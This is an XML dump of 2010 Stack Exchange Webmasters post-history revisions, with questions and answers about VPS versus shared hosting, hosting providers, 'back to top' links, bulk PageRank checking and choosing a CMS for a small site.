  <row Id="4685" PostHistoryTypeId="2" PostId="2434" RevisionGUID="cfe4c2a8-53b1-455d-be01-72b13b91a9d4" CreationDate="2010-08-21T09:21:14.213" UserId="1424" Text="I saw many companies offer Virtual Private Server hosting beside their Web Hosting packages.&#xD;&#xA;&#xD;&#xA;I was wondering what are the differences, pros and contros.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="4686" PostHistoryTypeId="1" PostId="2434" RevisionGUID="cfe4c2a8-53b1-455d-be01-72b13b91a9d4" CreationDate="2010-08-21T09:21:14.213" UserId="1424" Text="Whare are advantages and disadvantages in using VPS hosting vs standard Web hosting services ?" />
  <row Id="4687" PostHistoryTypeId="3" PostId="2434" RevisionGUID="cfe4c2a8-53b1-455d-be01-72b13b91a9d4" CreationDate="2010-08-21T09:21:14.213" UserId="1424" Text="&lt;web-hosting&gt;" />
  <row Id="4688" PostHistoryTypeId="2" PostId="2435" RevisionGUID="0f596b2a-057a-406c-8b7d-a6225e263fb3" CreationDate="2010-08-21T09:25:10.077" UserId="1424" Text="Could you suggest me a good VPS hosting for my own exercise ?&#xD;&#xA;&#xD;&#xA;I would like to have a server for development where I can have a lot of space, good performances and the ability to install my own software.&#xD;&#xA;&#xD;&#xA;ps. If I get VPS hosting, can I configure my apache and php configuration files as well ?&#xD;&#xA;&#xD;&#xA;ps2. Not Microsoft software&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="4689" PostHistoryTypeId="1" PostId="2435" RevisionGUID="0f596b2a-057a-406c-8b7d-a6225e263fb3" CreationDate="2010-08-21T09:25:10.077" UserId="1424" Text="Could you suggest me a good VPS hosting for my own exercise ? " />
  <row Id="4690" PostHistoryTypeId="3" PostId="2435" RevisionGUID="0f596b2a-057a-406c-8b7d-a6225e263fb3" CreationDate="2010-08-21T09:25:10.077" UserId="1424" Text="&lt;web-hosting&gt;&lt;vps&gt;" />
  <row Id="4691" PostHistoryTypeId="2" PostId="2436" RevisionGUID="94917129-25dd-4d53-b8ab-109f2e87a504" CreationDate="2010-08-21T10:08:52.137" UserId="1429" Text="Great question, IMO i would say:&#xD;&#xA;&#xD;&#xA;VPS ADVANTAGES: &#xD;&#xA;since you are more in control with the server, it's a virtual, but still you can manage it as a full server. You have full root access, full control and therefor you can do almost whatever you want installing anything you like, even stuff that is not provided the web hosting plans of the same provider, you could remove teh control panel and install another one (i.e. removing cPanel and install webmin or remove totally a control panel and manage teh server by yourself changing manually teh configuration). You could repolace the webmail interface with another one (i.e. remove Squirrelmail, and install something else).&#xD;&#xA;&#xD;&#xA;VPS DISADVANTAGES: &#xD;&#xA;you must know how to mange a server, getting the require know how it's time consuming, you need to learn and study carefully. You screw up something on a VPS and you risk to see it DOWN or even worst up and running but with dozens of SECURITY HOLES.&#xD;&#xA;&#xD;&#xA;WEBHOSTING/RESELLER ADVANTAGES: you are in control only of what is already installed on the plan by the provider (i.e. cPanel for managing, Squirrelmail as a web mail), even if you can still install your scripts and many third parties stuff. It's much easier to manage, and more difficult to be completely screwed up. If server is down or tehre are security holes it's not your fault you simply open a ticket and complain to the webhoster, he will have to take care about it.&#xD;&#xA;&#xD;&#xA;WEBHOSTING/RESELLER DISADVANTAGES: if you want to change something at an higher level (like changing the contorl panel) you can't.&#xD;&#xA;&#xD;&#xA;Anyway there is still something missing here, and I'm missing it too.&#xD;&#xA;Actually I tried to ask a similar question on [serverfault][1] you can find there also links to other similar questions.&#xD;&#xA;&#xD;&#xA;IMHO i don't understand what's the catch for hoster to push the VPS against the WEBHOSTING RESELLER plans. Some of hosters are even selling VPS at CHEAPER prices than RESELLER plans.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/167859/hosting-cpanel-reseller-vs-cpanel-fully-managed-vps" />
  <row Id="4692" PostHistoryTypeId="5" PostId="2436" RevisionGUID="96243ebb-3a88-478a-8168-abbf83bcc642" CreationDate="2010-08-21T10:16:57.047" UserId="1429" Comment="added 719 characters in body; added 24 characters in body; deleted 92 characters in body" Text="Great question, IMO i would say:&#xD;&#xA;&#xD;&#xA;**VPS ADVANTAGES**: &#xD;&#xA;since you are more in control with the server, it's a virtual, but still you can manage it as a full server. You have full root access, full control and therefor you can do almost whatever you want installing anything you like, even stuff that is not provided the web hosting plans of the same provider, you could remove teh control panel and install another one (i.e. removing cPanel and install webmin or remove totally a control panel and manage teh server by yourself changing manually teh configuration). You could repolace the webmail interface with another one (i.e. remove Squirrelmail, and install something else).&#xD;&#xA;&#xD;&#xA;**VPS DISADVANTAGES**: &#xD;&#xA;you must know how to mange a server, getting the require know how it's time consuming, you need to learn and study carefully. You screw up something on a VPS and you risk to see it DOWN or even worst up and running but with dozens of SECURITY HOLES.&#xD;&#xA;&#xD;&#xA;**WEBHOSTING/RESELLER ADVANTAGES**: you are in control only of what is already installed on the plan by the provider (i.e. cPanel for managing, Squirrelmail as a web mail), even if you can still install your scripts and many third parties stuff. It's much easier to manage, and more difficult to be completely screwed up. If server is down or tehre are security holes it's not your fault you simply open a ticket and complain to the webhoster, he will have to take care about it.&#xD;&#xA;&#xD;&#xA;**WEBHOSTING/RESELLER DISADVANTAGES**: if you want to change something at an higher level (like changing the contorl panel) you can't.&#xD;&#xA;&#xD;&#xA;Anyway there is still something missing here, and I'm missing it too.&#xD;&#xA;Many hoster are now selling FULLY MANAGED VPS, according to their policies these type of plans have teh advantages of WEBHOSTING/RESELER because if you screw up something they lokk up at it and they also prepare the server for you, so iot seems you don't require so much know how, but simply to be careful not to put your hands where you shouldn't.&#xD;&#xA;&#xD;&#xA;Actually I tried to ask a **similar question** on [serverfault][1] you can find there also **links to other similar questions** that might help you too.&#xD;&#xA;&#xD;&#xA;IMHO i don't understand **what's the catch for some hosters to push the VPS against the WEBHOSTING RESELLER plans**. Some hosters are even selling **FULLY MANAGED VPS at CHEAPER prices than RESELLER plans**. It seems bizarre because if I buy a VPS I'm probably going to open many more tickets to ask this&amp;that and to ask them to fix/change something for me compared the the amount of tickets I could open with WEBHOSTING RESELLER plan.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/167859/hosting-cpanel-reseller-vs-cpanel-fully-managed-vps" />
  <row Id="4694" PostHistoryTypeId="2" PostId="2437" RevisionGUID="7871a93b-26bf-4484-9907-320da997a8c6" CreationDate="2010-08-21T10:31:44.423" UserId="1429" Text="In US I use this:  [http://www.qualityhostonline.com][1]&#xD;&#xA;&#xD;&#xA;Dependending on the sofwtare you need to install you better evaluate the advantages to get a normal webhosting service rather than a VPS. [See your previous question][2].&#xD;&#xA;&#xD;&#xA;If your software is PHP script, PERL script written by you or third parties scripts/web apps (i.e. Wordpress, phpmail, swift mail, ...) you can do this perfectly buying a normal web hosting plan (and it's also cheaper).&#xD;&#xA;&#xD;&#xA;ps1: YES FULL CONTROL! But many **Apache/PHP configurations can be also changed as well with a normal web hosting plan**. On cPanel (or other control panels) for instance you have many features that let you modify Apache handlers, MIME types, redirects, subdomain, etc. Moreover via FTP you can modify as you like the Apache .htaccess files in any one of your folders rewriting the Apache config with your rewrite rules. But true on web hosting you can NOT access the main Apache configuration, on a VPS you can, but think also that if you don't know what to do, it might be better you are not able to change the root Apache config. :)&#xD;&#xA;&#xD;&#xA;ps2: only LINUX. :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.qualityhostonline.com&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/2434/whare-are-advantages-and-disadvantages-in-using-vps-hosting-vs-standard-web-hosti" />
  <row Id="4695" PostHistoryTypeId="5" PostId="2436" RevisionGUID="8ce01eaa-c99a-4406-844e-de3a22b98cbb" CreationDate="2010-08-21T10:56:24.047" UserId="1429" Comment="added 306 characters in body; added 321 characters in body" Text="Great question, IMO i would say:&#xD;&#xA;&#xD;&#xA;**VPS ADVANTAGES**:&#xD;&#xA;&#xD;&#xA;since you are more in control with the server, it's a virtual, but still you can manage it as a full server. You have **full root access**, full control and therefor you can do almost whatever you want installing anything you like, even stuff that is not provided the web hosting plans of the same provider, you **could remove the control panel and install another one** (i.e. removing cPanel and install webmin or remove totally a control panel and **manage the server by yourself changing manually the configuration**). You could repolace the webmail interface with another one (i.e. remove Squirrelmail, and install something else).&#xD;&#xA;You can **change root Apache config .https.conf and root php.ini config**.&#xD;&#xA;&#xD;&#xA;**VPS DISADVANTAGES**:&#xD;&#xA;&#xD;&#xA;you **MUST KNOW how to mange a server**, getting such know how it's very time consuming, you need to learn and study carefully. You screw up something on a VPS and you risk to see it DOWN, or even worst, up and running but with dozens of SECURITY HOLES.&#xD;&#xA;It's usually **more expensive** than a web hosting plan, but not always more expensive than a web hosting reseller plan.&#xD;&#xA;&#xD;&#xA;**WEBHOSTING/RESELLER ADVANTAGES**:&#xD;&#xA;&#xD;&#xA;you are in control only of what is already installed on the plan by the provider (i.e. cPanel for managing, Squirrelmail as a web mail), even if you can still install your scripts and many third parties stuff. It's **much easier to manage**, and more difficult to be completely screwed up. If server is down or there are security holes it's not your fault you simply open a ticket and complain to the webhoster, he will have to take care about it.&#xD;&#xA;You can **rewrite also Apache config for spcific folder using the .htaccess file**. Also **php.ini config can be rewritten on a directories basis** cause most web hoster install suPHP that let you rewrite php.ini config using a php.ini file in the directory you want it to be modified.&#xD;&#xA;It's definietly **cheaper**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**WEBHOSTING/RESELLER DISADVANTAGES**:&#xD;&#xA;&#xD;&#xA;if you want to change something at an higher level (like changing the contorl panel) you can't. You can NOT change root Apache config .https.conf and root php.ini config.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Anyway there is still something missing here, and I'm missing it too.&#xD;&#xA;Many hoster are now selling FULLY MANAGED VPS, according to their policies these type of plans have teh advantages of WEBHOSTING/RESELER because if you screw up something they lokk up at it and they also prepare the server for you, so iot seems you don't require so much know how, but simply to be careful not to put your hands where you shouldn't.&#xD;&#xA;&#xD;&#xA;Actually I tried to ask a **similar question** on [serverfault][1] you can find there also **links to other similar questions** that might help you too.&#xD;&#xA;&#xD;&#xA;IMHO i don't understand **what's the catch for some hosters to push the VPS against the WEBHOSTING RESELLER plans**. Some hosters are even selling **FULLY MANAGED VPS at CHEAPER prices than RESELLER plans**. It seems bizarre because if I buy a VPS I'm probably going to open many more tickets to ask this&amp;that and to ask them to fix/change something for me compared the the amount of tickets I could open with WEBHOSTING RESELLER plan.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/167859/hosting-cpanel-reseller-vs-cpanel-fully-managed-vps" />
  <row Id="4696" PostHistoryTypeId="6" PostId="2433" RevisionGUID="e0ff5ea9-2a94-4740-9c6f-59ffdb88c551" CreationDate="2010-08-21T11:13:29.900" UserId="480" Comment="edited tags" Text="&lt;css&gt;&lt;internet-explorer&gt;&lt;cross-browser&gt;&lt;ebay&gt;" />
  <row Id="4697" PostHistoryTypeId="2" PostId="2438" RevisionGUID="9614ea04-b286-45f5-bcc0-f876cb8c11b9" CreationDate="2010-08-21T11:16:18.400" UserId="480" Text="Browsers shouldn't honour &amp;lt;link rel=&quot;stylesheet&quot;&amp;gt; outside of the header, but many do. Please check the terms and conditions as I'm sure eBay would try to stop this (you could override their page styles for instance). Alternatives may include an iframe back to your site (unless that is forbidden too)." />
  <row Id="4698" PostHistoryTypeId="2" PostId="2439" RevisionGUID="a0da6ad9-8a0e-403f-b71e-8165b068cdf6" CreationDate="2010-08-21T13:46:09.070" UserId="17" Text="I highly recommend **Slicehost Servers** or **Rackspace Cloud Servers**. The two are both owned by the same company, Rackspace, but the payment methods differ.&#xD;&#xA;&#xD;&#xA;I would check both of these out and see what fits your model best.&#xD;&#xA;&#xD;&#xA;They have the best support you can dream of! **Total control Linux VPS machines**. You can do anything you want with these.&#xD;&#xA;&#xD;&#xA;**Slicehost**: http://www.slicehost.com/&#xD;&#xA;&#xD;&#xA;**Rackspace Cloud Servers**: http://www.rackspacecloud.com/cloud_hosting_products/servers" />
  <row Id="4699" PostHistoryTypeId="2" PostId="2440" RevisionGUID="0696ebeb-60df-401e-a9f2-4ff0553deaec" CreationDate="2010-08-21T14:02:23.577" UserId="1245" Text="[Linode][1] are good if you need your server to be on all the time.  If you're only going to be firing it up every now and again then a cloud service like [Amazon EC2][2] or the ones Thorn007 mentioned would be better.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linode.com/&#xD;&#xA;  [2]: http://aws.amazon.com/ec2/" />
  <row Id="4700" PostHistoryTypeId="5" PostId="2408" RevisionGUID="2d0a7d8e-410f-4855-8803-6bacab02c5a4" CreationDate="2010-08-21T14:45:37.467" UserId="1429" Comment="added 233 characters in body" Text="Could someone explain me what could be an advnatage of being on Twitter for a company website?&#xD;&#xA;Except the fact that it's on fashion right now. :)&#xD;&#xA;&#xD;&#xA;I'm asking because on so many site I find the &quot;little bird&quot; with the words &quot;**FOLLOW** us on Twitter&quot;.&#xD;&#xA;Cool I click on the bird and it brings me to the Twitter page of the company.&#xD;&#xA;&#xD;&#xA;Ihave seen these Twitter's page on many sites, but these pages are always a list of short messages that I don't understand. Soem seem to be private message, some seem to be advertisments from others.&#xD;&#xA;&#xD;&#xA;What should I **FOLLOW** in those messages?&#xD;&#xA;How should I read through those messages?&#xD;&#xA;&#xD;&#xA;Could you give a real life example that shows what's a potenatial advanatge of being on Twitter?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;Just some example of hosting comapnies useing Twitter. Plz have a look and explain me what's the catch, what are they getting out from it:&#xD;&#xA;&#xD;&#xA;http://twitter.com/inmotionhosting&#xD;&#xA;&#xD;&#xA;http://twitter.com/arhoster" />
  <row Id="4701" PostHistoryTypeId="2" PostId="2441" RevisionGUID="4e286460-da4e-4b05-922d-a64fc07a61a8" CreationDate="2010-08-21T14:52:52.943" UserId="113" Text="I've see **lots** of sites with links that will take you to the top of the page, but I've actually needed to use one. I've seen some sites where I can see ~7 of these links on the screen at once, whereas many have none. I can understand the intent, but they don't seem as valuable seeing as its so easy to get to the top of the page yourself. It seems like a waste to have site-specific ways to do something when there's a way that every user of any browser or operating system is already familiar with and skilled at.&#xD;&#xA;&#xD;&#xA;**question:** Are these links useful enough to users to merit their appearance on webpages?  If so, what are some general guidelines for their placement, appearance, and how many?" />
  <row Id="4702" PostHistoryTypeId="1" PostId="2441" RevisionGUID="4e286460-da4e-4b05-922d-a64fc07a61a8" CreationDate="2010-08-21T14:52:52.943" UserId="113" Text="Will 'back to top' links/buttons make my site more usable or just be noise on the page?" />
  <row Id="4703" PostHistoryTypeId="3" PostId="2441" RevisionGUID="4e286460-da4e-4b05-922d-a64fc07a61a8" CreationDate="2010-08-21T14:52:52.943" UserId="113" Text="&lt;usability&gt;" />
  <row Id="4704" PostHistoryTypeId="5" PostId="2408" RevisionGUID="1f2765b7-1dc9-4aac-9a77-8444d5ebbdc2" CreationDate="2010-08-21T14:56:49.783" UserId="1429" Comment="added 33 characters in body" Text="Could someone explain me what could be an advnatage of being on Twitter for a company website?&#xD;&#xA;Except the fact that it's on fashion right now. :)&#xD;&#xA;&#xD;&#xA;I'm asking because on so many site I find the &quot;little bird&quot; with the words &quot;**FOLLOW** us on Twitter&quot;.&#xD;&#xA;Cool I click on the bird and it brings me to the Twitter page of the company.&#xD;&#xA;&#xD;&#xA;Ihave seen these Twitter's page on many sites, but these pages are always a list of short messages that I don't understand. Soem seem to be private message, some seem to be advertisments from others.&#xD;&#xA;&#xD;&#xA;What should I **FOLLOW** in those messages?&#xD;&#xA;How should I read through those messages?&#xD;&#xA;&#xD;&#xA;Could you give a real life example that shows what's a potenatial advanatge of being on Twitter?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;Just some example of hosting companies useing Twitter. Plz have a look and explain me what's the catch, what are they getting out from these (to me useless) twitter pages?&#xD;&#xA;&#xD;&#xA;http://twitter.com/inmotionhosting&#xD;&#xA;&#xD;&#xA;http://twitter.com/arhoster" />
  <row Id="4705" PostHistoryTypeId="2" PostId="2442" RevisionGUID="81b18561-7eb3-47fc-9534-43d5100d0745" CreationDate="2010-08-21T15:11:30.973" UserId="1429" Text="IMHO I think they are just noisy, seven of these links are very noisy.&#xD;&#xA;They are like the feedback rectangle box (this last one is the one I HATE most). When I see those type of links it makes think: &quot;does the web designer of this site thinks at me as an idiot not even able to use a vertical scrollbar?!&quot;.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4706" PostHistoryTypeId="2" PostId="2443" RevisionGUID="757a9218-e3c8-4aea-8418-96aeee9a9066" CreationDate="2010-08-21T15:22:21.717" UserId="1253" Text="If the page is long, or very segmented (like an FAQ might be) a back to top link can be a very handy feature and improvae the usability of your website. If you're putting them on your page just because you feel like it then just like any extraneous content/features it's jsut noise.&#xD;&#xA;&#xD;&#xA;Always do something with a purpose. &#xD;&#xA;&#xD;&#xA;As far as where to put them, where do you think they would be useful? In the case of an FAQ the would be useful next to each question. They should be obvious and consistently positioned." />
  <row Id="4707" PostHistoryTypeId="5" PostId="2443" RevisionGUID="e2eff284-78fc-45b7-8322-db37c9e1df81" CreationDate="2010-08-21T15:28:08.310" UserId="1253" Comment="added 25 characters in body; added 150 characters in body" Text="If the page is long, or very segmented (like an FAQ might be) a back to top link can be a very handy feature and improve the usability of your website. If you're putting them on your page just because you feel like it then just like any extraneous content/features it's just noise.&#xD;&#xA;&#xD;&#xA;Always do something with a purpose. Not just because you can. (A common mistake newer developers make is to do something just because they learned about it recently, not because their project actually needed it).&#xD;&#xA;&#xD;&#xA;As far as where to put them, where do you think they would be useful? In the case of an FAQ the would be useful next to each question. They should be obvious and consistently positioned." />
  <row Id="4708" PostHistoryTypeId="5" PostId="2442" RevisionGUID="76bff807-e351-4245-bd12-b125fad49c3a" CreationDate="2010-08-21T15:31:25.843" UserId="1429" Comment="added 147 characters in body; added 175 characters in body" Text="IMHO I think they are just noisy, seven of these links are very noisy.&#xD;&#xA;When I see those type of links it makes think: &quot;does the web designer of this site thinks at me as an idiot not even able to use a vertical scrollbar?!&quot;.&#xD;&#xA;&#xD;&#xA;They are like the [feedback rectangle box][1] (this last one is the one I HATE most), do they really think I'm gonna waste my time registering to usabityhub just to give them a feedback??!! If you want feedback use simple radio buttons like Google does on its own pages like Google Help pages. I might use my time to give feedback cause it takes me JUST ONE CLICK!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://usabilityhub.com/" />
  <row Id="4709" PostHistoryTypeId="5" PostId="2442" RevisionGUID="b31e496f-8d66-4e50-afec-8e6fdf5d80d2" CreationDate="2010-08-21T16:31:50.817" UserId="1429" Comment="deleted 3 characters in body" Text="IMHO I think they are just noisy, seven of these links are very noisy.&#xD;&#xA;When I see those type of links it makes think: &quot;does the web designer of this site thinks at me as an idiot not even able to use a vertical scrollbar?!&quot;.&#xD;&#xA;&#xD;&#xA;They are like the [feedback rectangle box][1] (this last one is the one I HATE most), do they really think I'm gonna waste my time registering to usabityhub just to give them a feedback??!! If you want feedback use simple radio buttons like Google does on its own pages like Google Help pages. I might use my time to give feedback cause it takes me JUST ONE CLICK!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://uservoice.com/" />
  <row Id="4710" PostHistoryTypeId="2" PostId="2444" RevisionGUID="6d9925fe-36d8-45b9-b521-d7a24c9ecd3b" CreationDate="2010-08-21T16:36:24.650" UserId="245" Text="I have never understood those links since I started using the web (around 97). I have no idea, why clicking that link would be faster than using the 'Home' key. I don't know why it would be easier than clicking on the scrollbar. The worst thing: Since every site is a bit different, you always have to search these links first, before you can use them. Even if that takes just one extra seconds or so, it's simply not worth it.&#xD;&#xA;&#xD;&#xA;The only variation that I could maybe understand, would be if the link used &quot;fixed&quot; positioning, so once you know where it is (on a site that you visit regularly), you can already put your mouse pointer there, while you read and scroll the page. But I really don't see, how a &quot;back to top&quot; link provides any convenience, when it scrolls with the page content.&#xD;&#xA;&#xD;&#xA;I actually believe, that the link became popular, because it has always been used as an example in many HTML tutorials, as it's an easy way to explain anchors. I'm not sure, if the tutorial authors ever meant, that these links are really a great idea. (When you think about it: Wouldn't it make more sense, if every browser simply showed a &quot;back to top&quot; button e. g. in the status bar - at least for long pages? And if you don't like it, you can turn it off.)" />
  <row Id="4711" PostHistoryTypeId="2" PostId="2445" RevisionGUID="18985dda-f880-4a48-879e-ff6aa3a706e9" CreationDate="2010-08-21T18:17:54.907" UserId="1429" Text="Any suggestion would be appreciated.&#xD;&#xA;Maybe a tool (or online service) that you used at least once.&#xD;&#xA;&#xD;&#xA;I have list of webistes in a txt file.&#xD;&#xA;I need a tool or an oline service (possibly free) that finds the Google PR for each one of these websites, and shows me back a list (maybe sorted in order of PR value).&#xD;&#xA;&#xD;&#xA;I saw some online service but they usually find PR for 25/50 sites at a time.&#xD;&#xA;I need this tool to be able to check PR for **1000 sites**, or **at least 300/400 at a time**.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4712" PostHistoryTypeId="1" PostId="2445" RevisionGUID="18985dda-f880-4a48-879e-ff6aa3a706e9" CreationDate="2010-08-21T18:17:54.907" UserId="1429" Text="Tool or online service to view Google PR of thousand sites from a list?" />
  <row Id="4713" PostHistoryTypeId="3" PostId="2445" RevisionGUID="18985dda-f880-4a48-879e-ff6aa3a706e9" CreationDate="2010-08-21T18:17:54.907" UserId="1429" Text="&lt;seo&gt;&lt;google&gt;&lt;pagerank&gt;&lt;site-ranking&gt;" />
  <row Id="4714" PostHistoryTypeId="2" PostId="2446" RevisionGUID="90249bbc-e82d-4438-af75-4b7394da8c8f" CreationDate="2010-08-21T19:05:58.197" UserId="745" Text="Really, that would be a waste of your time. &#xD;&#xA;&#xD;&#xA;Visible PageRank is only one of over [200 factors][1] that Google uses to determine the rank of a page on a search engine results page. On top of that, it's only updated every few months, while the results themselves are updated several times a day. At best, visible PageRank is a crude approximation of how Google views any page.&#xD;&#xA;&#xD;&#xA;I help moderate a webmaster forum. I certainly won't question your motives, but I'll write this for anyone else who might be reading this. Generally, when we see people with gigantic lists of websites, it means that they want to try to get backlinks from all of these websites, usually through a blog comment or forum post. Usually, those people, whether they know it or not, end up spamming those websites. Please, please, *please*, for the sake of all of those websites, only post a link or make a comment if it's relevant and useful to the page on which it'll appear. If it's not relevant, useful, and desired; it's spam.&#xD;&#xA;&#xD;&#xA;What's more, there are [better ways to improve your site's position in Google][2]. All of the time spent trying to build backlinks, whose value can't even be objectively measured, could instead be spent on your site and users. Concentrate on your site, your strategy, your users, and your content and the rest will follow. &#xD;&#xA;&#xD;&#xA;In the end, increasing your visible PageRank doesn't get you anything tangible. It **does not guarantee** any of the following:&#xD;&#xA;&#xD;&#xA; - Better rankings&#xD;&#xA; - More traffic&#xD;&#xA; - More users&#xD;&#xA; - More conversions&#xD;&#xA; - More revenue&#xD;&#xA;&#xD;&#xA;In fact, **the only thing that increasing your visible PageRank achieves is a slightly longer green bar and a larger number next to it**. Other than that, it doesn't mean a thing. &#xD;&#xA;&#xD;&#xA;Chasing PageRank is a time sink and a money pit. &#xD;&#xA;&#xD;&#xA;Don't fall into it.&#xD;&#xA;&#xD;&#xA;  [1]: http://sphinn.com/story/74952#c54521&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google/1547#1547" />
  <row Id="4715" PostHistoryTypeId="5" PostId="2446" RevisionGUID="fe69fcf8-e88e-4037-9a65-52b543169a31" CreationDate="2010-08-21T19:59:55.000" UserId="745" Comment="added 8 characters in body" Text="In all honesty, that would be a waste of your time. &#xD;&#xA;&#xD;&#xA;Visible PageRank is only one of over [200 factors][1] that Google uses to determine the rank of a page on a search engine results page. On top of that, it's only updated every few months, while the results themselves are updated several times a day. At best, visible PageRank is a crude approximation of how Google views any page.&#xD;&#xA;&#xD;&#xA;I help moderate a webmaster forum. I certainly won't question your motives, but I'll write this for anyone else who might be reading this. Generally, when we see people with gigantic lists of websites, it means that they want to try to get backlinks from all of these websites, usually through a blog comment or forum post. Usually, those people, whether they know it or not, end up spamming those websites. Please, please, *please*, for the sake of all of those websites, only post a link or make a comment if it's relevant and useful to the page on which it'll appear. If it's not relevant, useful, and desired; it's spam.&#xD;&#xA;&#xD;&#xA;What's more, there are [better ways to improve your site's position in Google][2]. All of the time spent trying to build backlinks, whose value can't even be objectively measured, could instead be spent on your site and users. Concentrate on your site, your strategy, your users, and your content and the rest will follow. &#xD;&#xA;&#xD;&#xA;In the end, increasing your visible PageRank doesn't get you anything tangible. It **does not guarantee** any of the following:&#xD;&#xA;&#xD;&#xA; - Better rankings&#xD;&#xA; - More traffic&#xD;&#xA; - More users&#xD;&#xA; - More conversions&#xD;&#xA; - More revenue&#xD;&#xA;&#xD;&#xA;In fact, **the only thing that increasing your visible PageRank achieves is a slightly longer green bar and a larger number next to it**. Other than that, it doesn't mean a thing. &#xD;&#xA;&#xD;&#xA;Chasing PageRank is a time sink and a money pit. &#xD;&#xA;&#xD;&#xA;Don't fall into it.&#xD;&#xA;&#xD;&#xA;  [1]: http://sphinn.com/story/74952#c54521&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google/1547#1547" />
  <row Id="4716" PostHistoryTypeId="5" PostId="2435" RevisionGUID="9d9c8b6f-d560-4b15-926f-bd8ca485b3e3" CreationDate="2010-08-21T20:41:12.513" UserId="108" Comment="Made grammar gooder!" Text="Could you suggest a good VPS hosting for my own exercise ?&#xD;&#xA;&#xD;&#xA;I would like to have a server for development where I can have a lot of space, good performances and the ability to install my own software.&#xD;&#xA;&#xD;&#xA;Also I would like to configure my apache and php configuration files as well, if possible?&#xD;&#xA;&#xD;&#xA;PS. Not Microsoft software&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="4717" PostHistoryTypeId="4" PostId="2435" RevisionGUID="9d9c8b6f-d560-4b15-926f-bd8ca485b3e3" CreationDate="2010-08-21T20:41:12.513" UserId="108" Comment="Made grammar gooder!" Text="Could you suggest a good VPS hosting for my own exercise ? " />
  <row Id="4718" PostHistoryTypeId="16" PostId="2437" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-21T22:15:31.833" UserId="55" />
  <row Id="4719" PostHistoryTypeId="16" PostId="2439" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-21T22:15:31.833" UserId="55" />
  <row Id="4720" PostHistoryTypeId="16" PostId="2440" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-21T22:15:31.833" UserId="55" />
  <row Id="4721" PostHistoryTypeId="16" PostId="2435" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-21T22:15:31.833" UserId="55" />
  <row Id="4722" PostHistoryTypeId="2" PostId="2447" RevisionGUID="64bad3c6-b894-4677-8e4a-e304200443a1" CreationDate="2010-08-21T23:30:01.417" UserId="161" Text="[Shadowbox][1] is pretty sweet. Not only it can generate the usual image galeries, it also can generate lightboxed out of videos, flash or even html (good for contextual help).  &#xD;&#xA;It also has many ways of handling large images (crop, pan, zoom, etc), and you can close the box with esc.    &#xD;&#xA;Standalone, but compatible with jquery.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.shadowbox-js.com/" />
  <row Id="4723" PostHistoryTypeId="16" PostId="2447" RevisionGUID="64bad3c6-b894-4677-8e4a-e304200443a1" CreationDate="2010-08-21T23:30:01.417" UserId="-1" />
  <row Id="4724" PostHistoryTypeId="2" PostId="2448" RevisionGUID="9555047f-b3c3-4161-8f4a-02eb66a2f585" CreationDate="2010-08-21T23:31:17.640" UserId="1669" Text="My friend is going to start his own business and he wants to have a simple web site where he could exhibit some videos and pictures.&#xD;&#xA;&#xD;&#xA;As he has absolutely no experience in programming, he is considering hiring a programmer to build it for him.&#xD;&#xA;&#xD;&#xA;But I think maybe a free and open source CMS system would save him the expense.&#xD;&#xA;&#xD;&#xA;Unfortunately, there are so many CMSs that I don't know which of them are worth trying.&#xD;&#xA;&#xD;&#xA;Can u recommend some CMSs?" />
  <row Id="4725" PostHistoryTypeId="1" PostId="2448" RevisionGUID="9555047f-b3c3-4161-8f4a-02eb66a2f585" CreationDate="2010-08-21T23:31:17.640" UserId="1669" Text="How to choose a CMS system for a small web site?" />
  <row Id="4726" PostHistoryTypeId="3" PostId="2448" RevisionGUID="9555047f-b3c3-4161-8f4a-02eb66a2f585" CreationDate="2010-08-21T23:31:17.640" UserId="1669" Text="&lt;cms&gt;" />
  <row Id="4727" PostHistoryTypeId="2" PostId="2449" RevisionGUID="40f22f41-58bc-496d-ae2b-021ee86e6917" CreationDate="2010-08-21T23:40:11.383" UserId="745" Text="I'd recommend using [Open Source CMS][1] to try out a few different CMS demos. Some of the more popular CMS's are Wordpress, Joomla, and Drupal, but many of the smaller CMS's would work as well.&#xD;&#xA;&#xD;&#xA;I'd caution, however, against advising him to not hire a programmer. The quality of the website, CMS or not, will not be as high if it is done by someone who is not technical and doesn't understand the best practices of web design. A CMS is definitely a good idea, but I would advise having him hire someone to implement a website using a CMS. It should be quicker and higher quality if implemented by a professional. That, in the end, will be better for his business.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://php.opensourcecms.com/" />
